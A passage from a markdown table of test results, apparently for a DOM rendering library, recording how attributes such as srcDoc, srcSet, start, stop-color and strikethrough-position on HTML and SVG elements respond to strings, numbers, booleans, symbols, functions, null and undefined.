`srcDoc=(array with string)`| (changed)| `\"<p>Hi</p>\"` |\n| `srcDoc=(empty array)`| (initial)| `<empty string>` |\n| `srcDoc=(object)`| (changed)| `\"result of toString()\"` |\n| `srcDoc=(numeric string)`| (changed)| `\"42\"` |\n| `srcDoc=(-1)`| (changed)| `\"-1\"` |\n| `srcDoc=(0)`| (changed)| `\"0\"` |\n| `srcDoc=(integer)`| (changed)| `\"1\"` |\n| `srcDoc=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `srcDoc=(float)`| (changed)| `\"99.99\"` |\n| `srcDoc=(true)`| (initial, warning)| `<empty string>` |\n| `srcDoc=(false)`| (initial, warning)| `<empty string>` |\n| `srcDoc=(string 'true')`| (changed)| `\"true\"` |\n| `srcDoc=(string 'false')`| (changed)| `\"false\"` |\n| `srcDoc=(string 'on')`| (changed)| `\"on\"` |\n| `srcDoc=(string 'off')`| (changed)| `\"off\"` |\n| `srcDoc=(symbol)`| (initial, warning)| `<empty string>` |\n| `srcDoc=(function)`| (initial, warning)| `<empty string>` |\n| `srcDoc=(null)`| (initial)| `<empty string>` |\n| `srcDoc=(undefined)`| (initial)| `<empty string>` |\n\n## `srcdoc` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `srcdoc=(string)`| (changed, warning)| `\"<p>Hi</p>\"` |\n| `srcdoc=(empty string)`| (initial, warning)| `<empty string>` |\n| `srcdoc=(array with string)`| (changed, warning)| `\"<p>Hi</p>\"` |\n| `srcdoc=(empty array)`| (initial, warning)| `<empty string>` |\n| `srcdoc=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `srcdoc=(numeric string)`| (changed, warning)| `\"42\"` |\n| `srcdoc=(-1)`| (changed, warning)| `\"-1\"` |\n| `srcdoc=(0)`| (changed, warning)| `\"0\"` |\n| `srcdoc=(integer)`| (changed, warning)| `\"1\"` |\n| `srcdoc=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `srcdoc=(float)`| (changed, warning)| `\"99.99\"` |\n| `srcdoc=(true)`| (initial, warning)| `<empty string>` |\n| `srcdoc=(false)`| (initial, warning)| `<empty string>` |\n| `srcdoc=(string 'true')`| (changed, warning)| `\"true\"` |\n| `srcdoc=(string 'false')`| (changed, warning)| `\"false\"` |\n| `srcdoc=(string 'on')`| (changed, warning)| `\"on\"` |\n| `srcdoc=(string 'off')`| (changed, warning)| `\"off\"` |\n| `srcdoc=(symbol)`| (initial, warning)| `<empty string>` |\n| `srcdoc=(function)`| (initial, warning)| `<empty string>` |\n| `srcdoc=(null)`| (initial, warning)| `<empty string>` |\n| `srcdoc=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `srcLang` (on `<track>` inside `<audio>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `srcLang=(string)`| (changed)| `\"en\"` |\n| `srcLang=(empty string)`| (initial)| `<empty string>` |\n| `srcLang=(array with string)`| (changed)| `\"en\"` |\n| `srcLang=(empty array)`| (initial)| `<empty string>` |\n| `srcLang=(object)`| (changed)| `\"result of toString()\"` |\n| `srcLang=(numeric string)`| (changed)| `\"42\"` |\n| `srcLang=(-1)`| (changed)| `\"-1\"` |\n| `srcLang=(0)`| (changed)| `\"0\"` |\n| `srcLang=(integer)`| (changed)| `\"1\"` |\n| `srcLang=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `srcLang=(float)`| (changed)| `\"99.99\"` |\n| `srcLang=(true)`| (initial, warning)| `<empty string>` |\n| `srcLang=(false)`| (initial, warning)| `<empty string>` |\n| `srcLang=(string 'true')`| (changed)| `\"true\"` |\n| `srcLang=(string 'false')`| (changed)| `\"false\"` |\n| `srcLang=(string 'on')`| (changed)| `\"on\"` |\n| `srcLang=(string 'off')`| (changed)| `\"off\"` |\n| `srcLang=(symbol)`| (initial, warning)| `<empty string>` |\n| `srcLang=(function)`| (initial, warning)| `<empty string>` |\n| `srcLang=(null)`| (initial)| `<empty string>` |\n| `srcLang=(undefined)`| (initial)| `<empty string>` |\n\n## `srclang` (on `<track>` inside `<audio>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `srclang=(string)`| (changed, warning)| `\"en\"` |\n| `srclang=(empty string)`| (initial, warning)| `<empty string>` |\n| `srclang=(array with string)`| (changed, warning)| `\"en\"` |\n| `srclang=(empty array)`| (initial, warning)| `<empty string>` |\n| `srclang=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `srclang=(numeric string)`| (changed, warning)| `\"42\"` |\n| `srclang=(-1)`| (changed, warning)| `\"-1\"` |\n| `srclang=(0)`| (changed, warning)| `\"0\"` |\n| `srclang=(integer)`| (changed, warning)| `\"1\"` |\n| `srclang=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `srclang=(float)`| (changed, warning)| `\"99.99\"` |\n| `srclang=(true)`| (initial, warning)| `<empty string>` |\n| `srclang=(false)`| (initial, warning)| `<empty string>` |\n| `srclang=(string 'true')`| (changed, warning)| `\"true\"` |\n| `srclang=(string 'false')`| (changed, warning)| `\"false\"` |\n| `srclang=(string 'on')`| (changed, warning)| `\"on\"` |\n| `srclang=(string 'off')`| (changed, warning)| `\"off\"` |\n| `srclang=(symbol)`| (initial, warning)| `<empty string>` |\n| `srclang=(function)`| (initial, warning)| `<empty string>` |\n| `srclang=(null)`| (initial, warning)| `<empty string>` |\n| `srclang=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `srcSet` (on `<img>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `srcSet=(string)`| (initial)| `<undefined>` |\n| `srcSet=(empty string)`| (initial)| `<undefined>` |\n| `srcSet=(array with string)`| (initial)| `<undefined>` |\n| `srcSet=(empty array)`| (initial)| `<undefined>` |\n| `srcSet=(object)`| (initial)| `<undefined>` |\n| `srcSet=(numeric string)`| (initial)| `<undefined>` |\n| `srcSet=(-1)`| (initial)| `<undefined>` |\n| `srcSet=(0)`| (initial)| `<undefined>` |\n| `srcSet=(integer)`| (initial)| `<undefined>` |\n| `srcSet=(NaN)`| (initial, warning)| `<undefined>` |\n| `srcSet=(float)`| (initial)| `<undefined>` |\n| `srcSet=(true)`| (initial, warning)| `<undefined>` |\n| `srcSet=(false)`| (initial, warning)| `<undefined>` |\n| `srcSet=(string 'true')`| (initial)| `<undefined>` |\n| `srcSet=(string 'false')`| (initial)| `<undefined>` |\n| `srcSet=(string 'on')`| (initial)| `<undefined>` |\n| `srcSet=(string 'off')`| (initial)| `<undefined>` |\n| `srcSet=(symbol)`| (initial, warning)| `<undefined>` |\n| `srcSet=(function)`| (initial, warning)| `<undefined>` |\n| `srcSet=(null)`| (initial)| `<undefined>` |\n| `srcSet=(undefined)`| (initial)| `<undefined>` |\n\n## `srcset` (on `<img>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `srcset=(string)`| (changed, warning)| `\"a string\"` |\n| `srcset=(empty string)`| (initial, warning)| `<empty string>` |\n| `srcset=(array with string)`| (changed, warning)| `\"string\"` |\n| `srcset=(empty array)`| (initial, warning)| `<empty string>` |\n| `srcset=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `srcset=(numeric string)`| (changed, warning)| `\"42\"` |\n| `srcset=(-1)`| (changed, warning)| `\"-1\"` |\n| `srcset=(0)`| (changed, warning)| `\"0\"` |\n| `srcset=(integer)`| (changed, warning)| `\"1\"` |\n| `srcset=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `srcset=(float)`| (changed, warning)| `\"99.99\"` |\n| `srcset=(true)`| (initial, warning)| `<empty string>` |\n| `srcset=(false)`| (initial, warning)| `<empty string>` |\n| `srcset=(string 'true')`| (changed, warning)| `\"true\"` |\n| `srcset=(string 'false')`| (changed, warning)| `\"false\"` |\n| `srcset=(string 'on')`| (changed, warning)| `\"on\"` |\n| `srcset=(string 'off')`| (changed, warning)| `\"off\"` |\n| `srcset=(symbol)`| (initial, warning)| `<empty string>` |\n| `srcset=(function)`| (initial, warning)| `<empty string>` |\n| `srcset=(null)`| (initial, warning)| `<empty string>` |\n| `srcset=(undefined)`| (initial, warning)| `<empty string>` |\n\n## `start` (on `<ol>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `start=(string)`| (initial)| `<number: 1>` |\n| `start=(empty string)`| (initial)| `<number: 1>` |\n| `start=(array with string)`| (initial)| `<number: 1>` |\n| `start=(empty array)`| (initial)| `<number: 1>` |\n| `start=(object)`| (initial)| `<number: 1>` |\n| `start=(numeric string)`| (changed)| `<number: 42>` |\n| `start=(-1)`| (changed)| `<number: -1>` |\n| `start=(0)`| (changed)| `<number: 0>` |\n| `start=(integer)`| (initial)| `<number: 1>` |\n| `start=(NaN)`| (initial, warning)| `<number: 1>` |\n| `start=(float)`| (changed)| `<number: 99>` |\n| `start=(true)`| (initial, warning)| `<number: 1>` |\n| `start=(false)`| (initial, warning)| `<number: 1>` |\n| `start=(string 'true')`| (initial)| `<number: 1>` |\n| `start=(string 'false')`| (initial)| `<number: 1>` |\n| `start=(string 'on')`| (initial)| `<number: 1>` |\n| `start=(string 'off')`| (initial)| `<number: 1>` |\n| `start=(symbol)`| (initial, warning)| `<number: 1>` |\n| `start=(function)`| (initial, warning)| `<number: 1>` |\n| `start=(null)`| (initial)| `<number: 1>` |\n| `start=(undefined)`| (initial)| `<number: 1>` |\n\n## `startOffset` (on `<textPath>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `startOffset=(string)`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(empty string)`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(array with string)`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(empty array)`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(object)`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(numeric string)`| (changed)| `<SVGLength: 42>` |\n| `startOffset=(-1)`| (changed)| `<SVGLength: -1>` |\n| `startOffset=(0)`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(integer)`| (changed)| `<SVGLength: 1>` |\n| `startOffset=(NaN)`| (initial, warning)| `<SVGLength: 0>` |\n| `startOffset=(float)`| (changed)| `<SVGLength: 99.99>` |\n| `startOffset=(true)`| (initial, warning)| `<SVGLength: 0>` |\n| `startOffset=(false)`| (initial, warning)| `<SVGLength: 0>` |\n| `startOffset=(string 'true')`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(string 'false')`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(string 'on')`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(string 'off')`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(symbol)`| (initial, warning)| `<SVGLength: 0>` |\n| `startOffset=(function)`| (initial, warning)| `<SVGLength: 0>` |\n| `startOffset=(null)`| (initial)| `<SVGLength: 0>` |\n| `startOffset=(undefined)`| (initial)| `<SVGLength: 0>` |\n\n## `state` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `state=(string)`| (changed)| `\"a string\"` |\n| `state=(empty string)`| (changed)| `<empty string>` |\n| `state=(array with string)`| (changed)| `\"string\"` |\n| `state=(empty array)`| (changed)| `<empty string>` |\n| `state=(object)`| (changed)| `\"result of toString()\"` |\n| `state=(numeric string)`| (changed)| `\"42\"` |\n| `state=(-1)`| (changed)| `\"-1\"` |\n| `state=(0)`| (changed)| `\"0\"` |\n| `state=(integer)`| (changed)| `\"1\"` |\n| `state=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `state=(float)`| (changed)| `\"99.99\"` |\n| `state=(true)`| (initial, warning)| `<null>` |\n| `state=(false)`| (initial, warning)| `<null>` |\n| `state=(string 'true')`| (changed)| `\"true\"` |\n| `state=(string 'false')`| (changed)| `\"false\"` |\n| `state=(string 'on')`| (changed)| `\"on\"` |\n| `state=(string 'off')`| (changed)| `\"off\"` |\n| `state=(symbol)`| (initial, warning)| `<null>` |\n| `state=(function)`| (initial, warning)| `<null>` |\n| `state=(null)`| (initial)| `<null>` |\n| `state=(undefined)`| (initial)| `<null>` |\n\n## `stdDeviation` (on `<feGaussianBlur>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stdDeviation=(string)`| (changed)| `\"a string\"` |\n| `stdDeviation=(empty string)`| (changed)| `<empty string>` |\n| `stdDeviation=(array with string)`| (changed)| `\"string\"` |\n| `stdDeviation=(empty array)`| (changed)| `<empty string>` |\n| `stdDeviation=(object)`| (changed)| `\"result of toString()\"` |\n| `stdDeviation=(numeric string)`| (changed)| `\"42\"` |\n| `stdDeviation=(-1)`| (changed)| `\"-1\"` |\n| `stdDeviation=(0)`| (changed)| `\"0\"` |\n| `stdDeviation=(integer)`| (changed)| `\"1\"` |\n| `stdDeviation=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stdDeviation=(float)`| (changed)| `\"99.99\"` |\n| `stdDeviation=(true)`| (initial, warning)| `<null>` |\n| `stdDeviation=(false)`| (initial, warning)| `<null>` |\n| `stdDeviation=(string 'true')`| (changed)| `\"true\"` |\n| `stdDeviation=(string 'false')`| (changed)| `\"false\"` |\n| `stdDeviation=(string 'on')`| (changed)| `\"on\"` |\n| `stdDeviation=(string 'off')`| (changed)| `\"off\"` |\n| `stdDeviation=(symbol)`| (initial, warning)| `<null>` |\n| `stdDeviation=(function)`| (initial, warning)| `<null>` |\n| `stdDeviation=(null)`| (initial)| `<null>` |\n| `stdDeviation=(undefined)`| (initial)| `<null>` |\n\n## `stemh` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stemh=(string)`| (changed)| `\"a string\"` |\n| `stemh=(empty string)`| (changed)| `<empty string>` |\n| `stemh=(array with string)`| (changed)| `\"string\"` |\n| `stemh=(empty array)`| (changed)| `<empty string>` |\n| `stemh=(object)`| (changed)| `\"result of toString()\"` |\n| `stemh=(numeric string)`| (changed)| `\"42\"` |\n| `stemh=(-1)`| (changed)| `\"-1\"` |\n| `stemh=(0)`| (changed)| `\"0\"` |\n| `stemh=(integer)`| (changed)| `\"1\"` |\n| `stemh=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stemh=(float)`| (changed)| `\"99.99\"` |\n| `stemh=(true)`| (initial, warning)| `<null>` |\n| `stemh=(false)`| (initial, warning)| `<null>` |\n| `stemh=(string 'true')`| (changed)| `\"true\"` |\n| `stemh=(string 'false')`| (changed)| `\"false\"` |\n| `stemh=(string 'on')`| (changed)| `\"on\"` |\n| `stemh=(string 'off')`| (changed)| `\"off\"` |\n| `stemh=(symbol)`| (initial, warning)| `<null>` |\n| `stemh=(function)`| (initial, warning)| `<null>` |\n| `stemh=(null)`| (initial)| `<null>` |\n| `stemh=(undefined)`| (initial)| `<null>` |\n\n## `stemv` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stemv=(string)`| (changed)| `\"a string\"` |\n| `stemv=(empty string)`| (changed)| `<empty string>` |\n| `stemv=(array with string)`| (changed)| `\"string\"` |\n| `stemv=(empty array)`| (changed)| `<empty string>` |\n| `stemv=(object)`| (changed)| `\"result of toString()\"` |\n| `stemv=(numeric string)`| (changed)| `\"42\"` |\n| `stemv=(-1)`| (changed)| `\"-1\"` |\n| `stemv=(0)`| (changed)| `\"0\"` |\n| `stemv=(integer)`| (changed)| `\"1\"` |\n| `stemv=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stemv=(float)`| (changed)| `\"99.99\"` |\n| `stemv=(true)`| (initial, warning)| `<null>` |\n| `stemv=(false)`| (initial, warning)| `<null>` |\n| `stemv=(string 'true')`| (changed)| `\"true\"` |\n| `stemv=(string 'false')`| (changed)| `\"false\"` |\n| `stemv=(string 'on')`| (changed)| `\"on\"` |\n| `stemv=(string 'off')`| (changed)| `\"off\"` |\n| `stemv=(symbol)`| (initial, warning)| `<null>` |\n| `stemv=(function)`| (initial, warning)| `<null>` |\n| `stemv=(null)`| (initial)| `<null>` |\n| `stemv=(undefined)`| (initial)| `<null>` |\n\n## `step` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `step=(string)`| (changed)| `\"a string\"` |\n| `step=(empty string)`| (changed)| `<empty string>` |\n| `step=(array with string)`| (changed)| `\"string\"` |\n| `step=(empty array)`| (changed)| `<empty string>` |\n| `step=(object)`| (changed)| `\"result of toString()\"` |\n| `step=(numeric string)`| (changed)| `\"42\"` |\n| `step=(-1)`| (changed)| `\"-1\"` |\n| `step=(0)`| (changed)| `\"0\"` |\n| `step=(integer)`| (changed)| `\"1\"` |\n| `step=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `step=(float)`| (changed)| `\"99.99\"` |\n| `step=(true)`| (initial, warning)| `<null>` |\n| `step=(false)`| (initial, warning)| `<null>` |\n| `step=(string 'true')`| (changed)| `\"true\"` |\n| `step=(string 'false')`| (changed)| `\"false\"` |\n| `step=(string 'on')`| (changed)| `\"on\"` |\n| `step=(string 'off')`| (changed)| `\"off\"` |\n| `step=(symbol)`| (initial, warning)| `<null>` |\n| `step=(function)`| (initial, warning)| `<null>` |\n| `step=(null)`| (initial)| `<null>` |\n| `step=(undefined)`| (initial)| `<null>` |\n\n## `stitchTiles` (on `<feTurbulence>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stitchTiles=(string)`| (changed)| `<number: 1>` |\n| `stitchTiles=(empty string)`| (initial)| `<number: 2>` |\n| `stitchTiles=(array with string)`| (changed)| `<number: 1>` |\n| `stitchTiles=(empty array)`| (initial)| `<number: 2>` |\n| `stitchTiles=(object)`| (initial)| `<number: 2>` |\n| `stitchTiles=(numeric string)`| (initial)| `<number: 2>` |\n| `stitchTiles=(-1)`| (initial)| `<number: 2>` |\n| `stitchTiles=(0)`| (initial)| `<number: 2>` |\n| `stitchTiles=(integer)`| (initial)| `<number: 2>` |\n| `stitchTiles=(NaN)`| (initial, warning)| `<number: 2>` |\n| `stitchTiles=(float)`| (initial)| `<number: 2>` |\n| `stitchTiles=(true)`| (initial, warning)| `<number: 2>` |\n| `stitchTiles=(false)`| (initial, warning)| `<number: 2>` |\n| `stitchTiles=(string 'true')`| (initial)| `<number: 2>` |\n| `stitchTiles=(string 'false')`| (initial)| `<number: 2>` |\n| `stitchTiles=(string 'on')`| (initial)| `<number: 2>` |\n| `stitchTiles=(string 'off')`| (initial)| `<number: 2>` |\n| `stitchTiles=(symbol)`| (initial, warning)| `<number: 2>` |\n| `stitchTiles=(function)`| (initial, warning)| `<number: 2>` |\n| `stitchTiles=(null)`| (initial)| `<number: 2>` |\n| `stitchTiles=(undefined)`| (initial)| `<number: 2>` |\n\n## `stop-color` (on `<stop>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stop-color=(string)`| (changed, warning)| `\"a string\"` |\n| `stop-color=(empty string)`| (changed, warning)| `<empty string>` |\n| `stop-color=(array with string)`| (changed, warning)| `\"string\"` |\n| `stop-color=(empty array)`| (changed, warning)| `<empty string>` |\n| `stop-color=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `stop-color=(numeric string)`| (changed, warning)| `\"42\"` |\n| `stop-color=(-1)`| (changed, warning)| `\"-1\"` |\n| `stop-color=(0)`| (changed, warning)| `\"0\"` |\n| `stop-color=(integer)`| (changed, warning)| `\"1\"` |\n| `stop-color=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stop-color=(float)`| (changed, warning)| `\"99.99\"` |\n| `stop-color=(true)`| (initial, warning)| `<null>` |\n| `stop-color=(false)`| (initial, warning)| `<null>` |\n| `stop-color=(string 'true')`| (changed, warning)| `\"true\"` |\n| `stop-color=(string 'false')`| (changed, warning)| `\"false\"` |\n| `stop-color=(string 'on')`| (changed, warning)| `\"on\"` |\n| `stop-color=(string 'off')`| (changed, warning)| `\"off\"` |\n| `stop-color=(symbol)`| (initial, warning)| `<null>` |\n| `stop-color=(function)`| (initial, warning)| `<null>` |\n| `stop-color=(null)`| (initial, warning)| `<null>` |\n| `stop-color=(undefined)`| (initial, warning)| `<null>` |\n\n## `stop-opacity` (on `<stop>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stop-opacity=(string)`| (changed, warning)| `\"a string\"` |\n| `stop-opacity=(empty string)`| (changed, warning)| `<empty string>` |\n| `stop-opacity=(array with string)`| (changed, warning)| `\"string\"` |\n| `stop-opacity=(empty array)`| (changed, warning)| `<empty string>` |\n| `stop-opacity=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `stop-opacity=(numeric string)`| (changed, warning)| `\"42\"` |\n| `stop-opacity=(-1)`| (changed, warning)| `\"-1\"` |\n| `stop-opacity=(0)`| (changed, warning)| `\"0\"` |\n| `stop-opacity=(integer)`| (changed, warning)| `\"1\"` |\n| `stop-opacity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stop-opacity=(float)`| (changed, warning)| `\"99.99\"` |\n| `stop-opacity=(true)`| (initial, warning)| `<null>` |\n| `stop-opacity=(false)`| (initial, warning)| `<null>` |\n| `stop-opacity=(string 'true')`| (changed, warning)| `\"true\"` |\n| `stop-opacity=(string 'false')`| (changed, warning)| `\"false\"` |\n| `stop-opacity=(string 'on')`| (changed, warning)| `\"on\"` |\n| `stop-opacity=(string 'off')`| (changed, warning)| `\"off\"` |\n| `stop-opacity=(symbol)`| (initial, warning)| `<null>` |\n| `stop-opacity=(function)`| (initial, warning)| `<null>` |\n| `stop-opacity=(null)`| (initial, warning)| `<null>` |\n| `stop-opacity=(undefined)`| (initial, warning)| `<null>` |\n\n## `stopColor` (on `<stop>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stopColor=(string)`| (changed)| `\"a string\"` |\n| `stopColor=(empty string)`| (changed)| `<empty string>` |\n| `stopColor=(array with string)`| (changed)| `\"string\"` |\n| `stopColor=(empty array)`| (changed)| `<empty string>` |\n| `stopColor=(object)`| (changed)| `\"result of toString()\"` |\n| `stopColor=(numeric string)`| (changed)| `\"42\"` |\n| `stopColor=(-1)`| (changed)| `\"-1\"` |\n| `stopColor=(0)`| (changed)| `\"0\"` |\n| `stopColor=(integer)`| (changed)| `\"1\"` |\n| `stopColor=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stopColor=(float)`| (changed)| `\"99.99\"` |\n| `stopColor=(true)`| (initial, warning)| `<null>` |\n| `stopColor=(false)`| (initial, warning)| `<null>` |\n| `stopColor=(string 'true')`| (changed)| `\"true\"` |\n| `stopColor=(string 'false')`| (changed)| `\"false\"` |\n| `stopColor=(string 'on')`| (changed)| `\"on\"` |\n| `stopColor=(string 'off')`| (changed)| `\"off\"` |\n| `stopColor=(symbol)`| (initial, warning)| `<null>` |\n| `stopColor=(function)`| (initial, warning)| `<null>` |\n| `stopColor=(null)`| (initial)| `<null>` |\n| `stopColor=(undefined)`| (initial)| `<null>` |\n\n## `stopOpacity` (on `<stop>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `stopOpacity=(string)`| (changed)| `\"a string\"` |\n| `stopOpacity=(empty string)`| (changed)| `<empty string>` |\n| `stopOpacity=(array with string)`| (changed)| `\"string\"` |\n| `stopOpacity=(empty array)`| (changed)| `<empty string>` |\n| `stopOpacity=(object)`| (changed)| `\"result of toString()\"` |\n| `stopOpacity=(numeric string)`| (changed)| `\"42\"` |\n| `stopOpacity=(-1)`| (changed)| `\"-1\"` |\n| `stopOpacity=(0)`| (changed)| `\"0\"` |\n| `stopOpacity=(integer)`| (changed)| `\"1\"` |\n| `stopOpacity=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `stopOpacity=(float)`| (changed)| `\"99.99\"` |\n| `stopOpacity=(true)`| (initial, warning)| `<null>` |\n| `stopOpacity=(false)`| (initial, warning)| `<null>` |\n| `stopOpacity=(string 'true')`| (changed)| `\"true\"` |\n| `stopOpacity=(string 'false')`| (changed)| `\"false\"` |\n| `stopOpacity=(string 'on')`| (changed)| `\"on\"` |\n| `stopOpacity=(string 'off')`| (changed)| `\"off\"` |\n| `stopOpacity=(symbol)`| (initial, warning)| `<null>` |\n| `stopOpacity=(function)`| (initial, warning)| `<null>` |\n| `stopOpacity=(null)`| (initial)| `<null>` |\n| `stopOpacity=(undefined)`| (initial)| `<null>` |\n\n## `strikethrough-position` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strikethrough-position=(string)`| (changed, warning)| `\"a string\"` |\n| `strikethrough-position=(empty string)`| (changed, warning)| `<empty string>` |\n| `strikethrough-position=(array with string)`| (changed, warning)| `\"string\"` |\n| `strikethrough-position=(empty array)`| (changed, warning)| `<empty string>` |\n| `strikethrough-position=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `strikethrough-position=(numeric string)`| (changed, warning)| `\"42\"` |\n| `strikethrough-position=(-1)`| (changed, warning)| `\"-1\"` |\n| `strikethrough-position=(0)`| (changed, warning)| `\"0\"` |\n| `strikethrough-position=(integer)`| (changed, warning)| `\"1\"` |\n| `strikethrough-position=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strikethrough-position=(float)`| (changed, warning)| `\"99.99\"` |\n| `strikethrough-position=(true)`| (initial, warning)| `<null>` |\n| `strikethrough-position=(false)`| (initial, warning)| `<null>` |\n| `strikethrough-position=(string 'true')`| (changed, warning)| `\"true\"` |\n| `strikethrough-position=(string 'false')`| (changed, warning)| `\"false\"` |\n| `strikethrough-position=(string 'on')`| (changed, warning)| `\"on\"` |\n| `strikethrough-position=(string 'off')`| (changed, warning)| `\"off\"` |\n| `strikethrough-position=(symbol)`| (initial, warning)| `<null>` |\n| `strikethrough-position=(function)`| (initial, warning)| `<null>` |\n| `strikethrough-position=(null)`| (initial, warning)| `<null>` |\n| `strikethrough-position=(undefined)`| (initial, warning)| `<null>` |\n\n## `strikethrough-thickness` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strikethrough-thickness=(string)`| (changed, warning)| `\"a string\"` |\n| `strikethrough-thickness=(empty string)`| (changed, warning)| `<empty string>` |\n| `strikethrough-thickness=(array with string)`| (changed, warning)| `\"string\"` |\n| `strikethrough-thickness=(empty array)`| (changed, warning)| `<empty string>` |\n| `strikethrough-thickness=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `strikethrough-thickness=(numeric string)`| (changed, warning)| `\"42\"` |\n| `strikethrough-thickness=(-1)`| (changed, warning)| `\"-1\"` |\n| `strikethrough-thickness=(0)`| (changed, warning)| `\"0\"` |\n| `strikethrough-thickness=(integer)`| (changed, warning)| `\"1\"` |\n| `strikethrough-thickness=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strikethrough-thickness=(float)`| (changed, warning)| `\"99.99\"` |\n| `strikethrough-thickness=(true)`| (initial, warning)| `<null>` |\n| `strikethrough-thickness=(false)`| (initial, warning)| `<null>` |\n| `strikethrough-thickness=(string 'true')`| (changed, warning)| `\"true\"` |\n| `strikethrough-thickness=(string 'false')`| (changed, warning)| `\"false\"` |\n| `strikethrough-thickness=(string 'on')`| (changed, warning)| `\"on\"` |\n| `strikethrough-thickness=(string 'off')`| (changed, warning)| `\"off\"` |\n| `strikethrough-thickness=(symbol)`| (initial, warning)| `<null>` |\n| `strikethrough-thickness=(function)`| (initial, warning)| `<null>` |\n| `strikethrough-thickness=(null)`| (initial, warning)| `<null>` |\n| `strikethrough-thickness=(undefined)`| (initial, warning)| `<null>` |\n\n## `strikethroughPosition` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strikethroughPosition=(string)`| (changed)| `\"a string\"` |\n| `strikethroughPosition=(empty string)`| (changed)| `<empty string>` |\n| `strikethroughPosition=(array with string)`| (changed)| `\"string\"` |\n| `strikethroughPosition=(empty array)`| (changed)| `<empty string>` |\n| `strikethroughPosition=(object)`| (changed)| `\"result of toString()\"` |\n| `strikethroughPosition=(numeric string)`| (changed)| `\"42\"` |\n| `strikethroughPosition=(-1)`| (changed)| `\"-1\"` |\n| `strikethroughPosition=(0)`| (changed)| `\"0\"` |\n| `strikethroughPosition=(integer)`| (changed)| `\"1\"` |\n| `strikethroughPosition=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `strikethroughPosition=(float)`| (changed)| `\"99.99\"` |\n| `strikethroughPosition=(true)`| (initial, warning)| `<null>` |\n| `strikethroughPosition=(false)`| (initial, warning)| `<null>` |\n| `strikethroughPosition=(string 'true')`| (changed)| `\"true\"` |\n| `strikethroughPosition=(string 'false')`| (changed)| `\"false\"` |\n| `strikethroughPosition=(string 'on')`| (changed)| `\"on\"` |\n| `strikethroughPosition=(string 'off')`| (changed)| `\"off\"` |\n| `strikethroughPosition=(symbol)`| (initial, warning)| `<null>` |\n| `strikethroughPosition=(function)`| (initial, warning)| `<null>` |\n| `strikethroughPosition=(null)`| (initial)| `<null>` |\n| `strikethroughPosition=(undefined)`| (initial)| `<null>` |\n\n## `strikethroughThickness` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `strikethroughThickness=(string)`| (changed)| `\"a string\"` |\n| `strikethroughThickness=(empty string)`| (changed)| `<empty string>` |\n| `strikethroughThickness=(array with string)`| (changed)| `\"string\"` |\n| `strikethroughThickness=(empty array)`| (changed)| `<empty string>` |\n| `strikethroughThickness=(object)`| (changed)| `\"result of toString()\"` |\n| `strikethroughThickness=(numeric string)`| (changed)| `\"42\"` |\n| `strikethroughThickness=(-1)`| (changed)| `\"-1\"` |\n| `strikethroughThickness=(0)`| (changed)| `\"0\"` |\n| `strikethroughThickness=(integer)`| (changed)| `\"1\"` |\n| `strikethroughThickness=(NaN)`| (changed, warning)| `\"NaN\"` 